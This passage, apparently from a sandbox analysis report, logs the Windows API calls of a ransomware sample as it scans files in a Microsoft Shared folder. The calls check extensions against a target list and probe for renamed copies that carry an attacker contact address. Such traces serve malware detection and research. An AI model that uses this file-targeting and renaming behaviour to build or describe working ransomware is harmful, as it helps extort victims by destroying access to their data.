lpString2="g.dll") returned -1 [0201.451] lstrlenW (lpString=".ppt") returned 4 [0201.451] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0201.451] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IPSEventLogMsg.dll") returned 69 [0201.451] lstrlenW (lpString=".zip") returned 4 [0201.451] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0201.451] lstrlenW (lpString=".rar") returned 4 [0201.451] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0201.451] lstrlenW (lpString=".bz2") returned 4 [0201.451] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0201.451] lstrlenW (lpString=".7z") returned 3 [0201.451] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0201.451] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IPSEventLogMsg.dll") returned 69 [0201.451] lstrlenW (lpString=".dbf") returned 4 [0201.452] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0201.452] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IPSEventLogMsg.dll") returned 69 [0201.452] lstrlenW (lpString=".1cd") returned 4 [0201.452] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0201.452] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IPSEventLogMsg.dll") returned 69 [0201.452] lstrlenW (lpString=".jpg") returned 4 [0201.452] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0201.452] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IPSEventLogMsg.dll") returned 69 [0201.452] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IPSEventLogMsg.dll") returned 69 [0201.452] lstrlenW (lpString=".doc") returned 4 [0201.453] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0201.453] lstrlenW (lpString=".docx") returned 5 [0201.453] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1 [0201.453] lstrlenW (lpString=".pdf") returned 4 [0201.453] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0201.453] lstrlenW (lpString=".xls") returned 4 [0201.453] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0201.453] lstrlenW (lpString=".xlsx") returned 5 [0201.453] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1 [0201.453] lstrlenW (lpString=".ppt") returned 4 [0201.453] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0201.453] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IPSEventLogMsg.dll") returned 69 [0201.453] lstrlenW (lpString=".zip") returned 4 [0201.453] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0201.454] lstrlenW (lpString=".rar") returned 4 [0201.454] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0201.454] lstrlenW (lpString=".bz2") returned 4 [0201.454] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0201.454] lstrlenW (lpString=".7z") returned 3 [0201.454] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0201.454] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IPSEventLogMsg.dll") returned 69 [0201.454] lstrlenW (lpString=".dbf") returned 4 [0201.454] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0201.454] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IPSEventLogMsg.dll") returned 69 [0201.454] lstrlenW (lpString=".1cd") returned 4 [0201.454] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0201.454] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IPSEventLogMsg.dll") returned 69 [0201.454] lstrlenW (lpString=".jpg") returned 4 [0201.454] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0201.455] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0201.455] lstrlenW (lpString="IpsMigrationPlugin.dll") returned 22 [0201.455] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsMigrationPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsmigrationplugin.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0207.953] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x306ff1c | out: lpFileSize=0x306ff1c*=40960) returned 1 [0207.953] CloseHandle (hObject=0x288) returned 1 [0207.954] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsMigrationPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsmigrationplugin.dll")) returned 0x20 [0207.954] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsMigrationPlugin.dll.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsmigrationplugin.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0207.954] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsMigrationPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsmigrationplugin.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0207.954] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsMigrationPlugin.dll") returned 73 [0207.954] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsMigrationPlugin.dll") returned 73 [0207.955] lstrlenW (lpString=".doc") returned 4 [0207.955] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0207.955] lstrlenW (lpString=".docx") returned 5 [0207.955] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0207.955] lstrlenW (lpString=".pdf") returned 4 [0207.955] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0207.955] lstrlenW (lpString=".xls") returned 4 [0207.955] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0207.955] lstrlenW (lpString=".xlsx") returned 5 [0207.955] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0207.955] lstrlenW (lpString=".ppt") returned 4 [0207.955] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0207.955] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsMigrationPlugin.dll") returned 73 [0207.956] lstrlenW (lpString=".zip") returned 4 [0207.956] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0207.956] lstrlenW (lpString=".rar") returned 4 [0207.956] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0207.956] lstrlenW (lpString=".bz2") returned 4 [0207.956] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0207.956] lstrlenW (lpString=".7z") returned 3 [0207.956] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0207.956] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsMigrationPlugin.dll") returned 73 [0207.956] lstrlenW (lpString=".dbf") returned 4 [0207.956] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0207.956] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsMigrationPlugin.dll") returned 73 [0207.957] lstrlenW (lpString=".1cd") returned 4 [0207.957] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0207.957] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsMigrationPlugin.dll") returned 73 [0207.957] lstrlenW (lpString=".jpg") returned 4 [0207.957] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0207.957] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsMigrationPlugin.dll") returned 73 [0207.957] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsMigrationPlugin.dll") returned 73 [0207.957] lstrlenW (lpString=".doc") returned 4 [0207.957] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0207.957] lstrlenW (lpString=".docx") returned 5 [0207.958] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0207.958] lstrlenW (lpString=".pdf") returned 4 [0207.958] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0207.958] lstrlenW (lpString=".xls") returned 4 [0207.958] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0207.958] lstrlenW (lpString=".xlsx") returned 5 [0207.958] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0207.958] lstrlenW (lpString=".ppt") returned 4 [0207.958] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0207.958] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsMigrationPlugin.dll") returned 73 [0207.958] lstrlenW (lpString=".zip") returned 4 [0207.958] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0207.958] lstrlenW (lpString=".rar") returned 4 [0207.958] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0207.959] lstrlenW (lpString=".bz2") returned 4 [0207.959] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0207.959] lstrlenW (lpString=".7z") returned 3 [0207.959] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0207.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsMigrationPlugin.dll") returned 73 [0207.959] lstrlenW (lpString=".dbf") returned 4 [0207.959] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0207.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsMigrationPlugin.dll") returned 73 [0207.959] lstrlenW (lpString=".1cd") returned 4 [0207.959] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0207.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsMigrationPlugin.dll") returned 73 [0207.959] lstrlenW (lpString=".jpg") returned 4 [0207.960] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0207.960] lstrcmpiW (lpString1=".exe", lpString2=".NEWS") returned -1 [0207.960] lstrlenW (lpString="ShapeCollector.exe") returned 18 [0207.960] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ShapeCollector.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\shapecollector.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0211.735] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x306ff1c | out: lpFileSize=0x306ff1c*=695296) returned 1 [0211.736] CloseHandle (hObject=0x308) returned 1 [0211.736] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ShapeCollector.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\shapecollector.exe")) returned 0x20 [0211.736] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ShapeCollector.exe.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\shapecollector.exe.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0212.332] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ShapeCollector.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\shapecollector.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0212.924] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ShapeCollector.exe") returned 69 [0212.924] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ShapeCollector.exe") returned 69 [0212.924] lstrlenW (lpString=".doc") returned 4 [0212.924] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0212.925] lstrlenW (lpString=".docx") returned 5 [0212.925] lstrcmpiW (lpString1=".docx", lpString2="r.exe") returned -1 [0212.925] lstrlenW (lpString=".pdf") returned 4 [0212.925] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0212.925] lstrlenW (lpString=".xls") returned 4 [0212.926] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0212.926] lstrlenW (lpString=".xlsx") returned 5 [0212.926] lstrcmpiW (lpString1=".xlsx", lpString2="r.exe") returned -1 [0212.926] lstrlenW (lpString=".ppt") returned 4 [0212.926] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0212.926] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ShapeCollector.exe") returned 69 [0212.926] lstrlenW (lpString=".zip") returned 4 [0212.926] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0212.926] lstrlenW (lpString=".rar") returned 4 [0212.926] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0212.926] lstrlenW (lpString=".bz2") returned 4 [0212.926] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0212.927] lstrlenW (lpString=".7z") returned 3 [0212.927] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0212.927] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ShapeCollector.exe") returned 69 [0212.927] lstrlenW (lpString=".dbf") returned 4 [0212.927] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0212.927] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ShapeCollector.exe") returned 69 [0212.927] lstrlenW (lpString=".1cd") returned 4 [0212.927] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0212.927] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ShapeCollector.exe") returned 69 [0212.927] lstrlenW (lpString=".jpg") returned 4 [0212.927] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0212.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ShapeCollector.exe") returned 69 [0212.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ShapeCollector.exe") returned 69 [0212.928] lstrlenW (lpString=".doc") returned 4 [0212.928] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0212.928] lstrlenW (lpString=".docx") returned 5 [0212.928] lstrcmpiW (lpString1=".docx", lpString2="r.exe") returned -1 [0212.928] lstrlenW (lpString=".pdf") returned 4 [0212.928] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0212.928] lstrlenW (lpString=".xls") returned 4 [0212.928] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0212.929] lstrlenW (lpString=".xlsx") returned 5 [0212.929] lstrcmpiW (lpString1=".xlsx", lpString2="r.exe") returned -1 [0212.929] lstrlenW (lpString=".ppt") returned 4 [0212.929] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0212.929] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ShapeCollector.exe") returned 69 [0212.929] lstrlenW (lpString=".zip") returned 4 [0212.929] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0212.929] lstrlenW (lpString=".rar") returned 4 [0212.929] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0212.929] lstrlenW (lpString=".bz2") returned 4 [0212.929] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0212.929] lstrlenW (lpString=".7z") returned 3 [0212.929] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0212.930] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ShapeCollector.exe") returned 69 [0212.931] lstrlenW (lpString=".dbf") returned 4 [0212.931] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0212.931] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ShapeCollector.exe") returned 69 [0212.931] lstrlenW (lpString=".1cd") returned 4 [0212.932] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0212.932] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ShapeCollector.exe") returned 69 [0212.932] lstrlenW (lpString=".jpg") returned 4 [0212.932] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0212.933] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0212.933] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0212.933] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0213.640] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x306ff1c | out: lpFileSize=0x306ff1c*=3584) returned 1 [0213.640] CloseHandle (hObject=0x288) returned 1 [0213.640] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th\\tipresx.dll.mui")) returned 0x20 [0213.641] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\tipresx.dll.mui.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th\\tipresx.dll.mui.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0213.643] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0213.643] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\tipresx.dll.mui") returned 72 [0213.643] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\tipresx.dll.mui") returned 72 [0213.643] lstrlenW (lpString=".doc") returned 4 [0213.643] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0213.643] lstrlenW (lpString=".docx") returned 5 [0213.643] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0213.643] lstrlenW (lpString=".pdf") returned 4 [0213.644] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0213.644] lstrlenW (lpString=".xls") returned 4 [0213.644] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0213.644] lstrlenW (lpString=".xlsx") returned 5 [0213.645] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0213.645] lstrlenW (lpString=".ppt") returned 4 [0213.645] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0213.645] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\tipresx.dll.mui") returned 72 [0213.645] lstrlenW (lpString=".zip") returned 4 [0213.645] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0213.645] lstrlenW (lpString=".rar") returned 4 [0213.645] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0213.645] lstrlenW (lpString=".bz2") returned 4 [0213.645] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0213.646] lstrlenW (lpString=".7z") returned 3 [0213.646] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0213.646] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\tipresx.dll.mui") returned 72 [0213.646] lstrlenW (lpString=".dbf") returned 4 [0213.646] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0213.646] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\tipresx.dll.mui") returned 72 [0213.646] lstrlenW (lpString=".1cd") returned 4 [0213.647] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0213.647] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\tipresx.dll.mui") returned 72 [0213.647] lstrlenW (lpString=".jpg") returned 4 [0213.647] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0213.647] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\tipresx.dll.mui") returned 72 [0213.647] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\tipresx.dll.mui") returned 72 [0213.647] lstrlenW (lpString=".doc") returned 4 [0213.647] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0213.647] lstrlenW (lpString=".docx") returned 5 [0213.647] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0213.648] lstrlenW (lpString=".pdf") returned 4 [0213.648] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0213.648] lstrlenW (lpString=".xls") returned 4 [0213.648] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0213.648] lstrlenW (lpString=".xlsx") returned 5 [0213.648] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0213.648] lstrlenW (lpString=".ppt") returned 4 [0213.648] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0213.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\tipresx.dll.mui") returned 72 [0213.649] lstrlenW (lpString=".zip") returned 4 [0213.649] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0213.649] lstrlenW (lpString=".rar") returned 4 [0213.649] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0213.649] lstrlenW (lpString=".bz2") returned 4 [0213.649] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0213.649] lstrlenW (lpString=".7z") returned 3 [0213.649] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0213.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\tipresx.dll.mui") returned 72 [0213.650] lstrlenW (lpString=".dbf") returned 4 [0213.650] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0213.650] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\tipresx.dll.mui") returned 72 [0213.650] lstrlenW (lpString=".1cd") returned 4 [0213.650] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0213.650] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\tipresx.dll.mui") returned 72 [0213.650] lstrlenW (lpString=".jpg") returned 4 [0213.650] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0213.651] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0213.653] lstrlenW (lpString="TipBand.dll") returned 11 [0213.653] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipBand.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipband.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0213.653] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x306ff1c | out: lpFileSize=0x306ff1c*=110592) returned 1 [0213.654] CloseHandle (hObject=0x288) returned 1 [0213.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipBand.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipband.dll")) returned 0x20 [0213.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipBand.dll.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipband.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0213.655] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipBand.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipband.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0213.655] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipBand.dll") returned 62 [0213.655] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipBand.dll") returned 62 [0213.655] lstrlenW (lpString=".doc") returned 4 [0213.655] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0213.655] lstrlenW (lpString=".docx") returned 5 [0213.656] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1 [0213.656] lstrlenW (lpString=".pdf") returned 4 [0213.656] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0213.656] lstrlenW (lpString=".xls") returned 4 [0213.657] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0213.657] lstrlenW (lpString=".xlsx") returned 5 [0213.657] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1 [0213.657] lstrlenW (lpString=".ppt") returned 4 [0213.657] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0213.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipBand.dll") returned 62 [0213.657] lstrlenW (lpString=".zip") returned 4 [0213.657] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0213.657] lstrlenW (lpString=".rar") returned 4 [0213.657] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0213.657] lstrlenW (lpString=".bz2") returned 4 [0213.657] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0213.658] lstrlenW (lpString=".7z") returned 3 [0213.658] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0213.658] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipBand.dll") returned 62 [0213.658] lstrlenW (lpString=".dbf") returned 4 [0213.658] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0213.659] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipBand.dll") returned 62 [0213.659] lstrlenW (lpString=".1cd") returned 4 [0213.659] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0213.659] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipBand.dll") returned 62 [0213.659] lstrlenW (lpString=".jpg") returned 4 [0213.659] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0213.659] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipBand.dll") returned 62 [0213.659] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipBand.dll") returned 62 [0213.660] lstrlenW (lpString=".doc") returned 4 [0213.660] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0213.660] lstrlenW (lpString=".docx") returned 5 [0213.660] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1 [0213.660] lstrlenW (lpString=".pdf") returned 4 [0213.660] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0213.660] lstrlenW (lpString=".xls") returned 4 [0213.660] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0213.660] lstrlenW (lpString=".xlsx") returned 5 [0213.660] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1 [0213.660] lstrlenW (lpString=".ppt") returned 4 [0213.660] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0213.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipBand.dll") returned 62 [0213.661] lstrlenW (lpString=".zip") returned 4 [0213.661] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0213.661] lstrlenW (lpString=".rar") returned 4 [0213.661] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0213.661] lstrlenW (lpString=".bz2") returned 4 [0213.662] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0213.663] lstrlenW (lpString=".7z") returned 3 [0213.663] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0213.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft 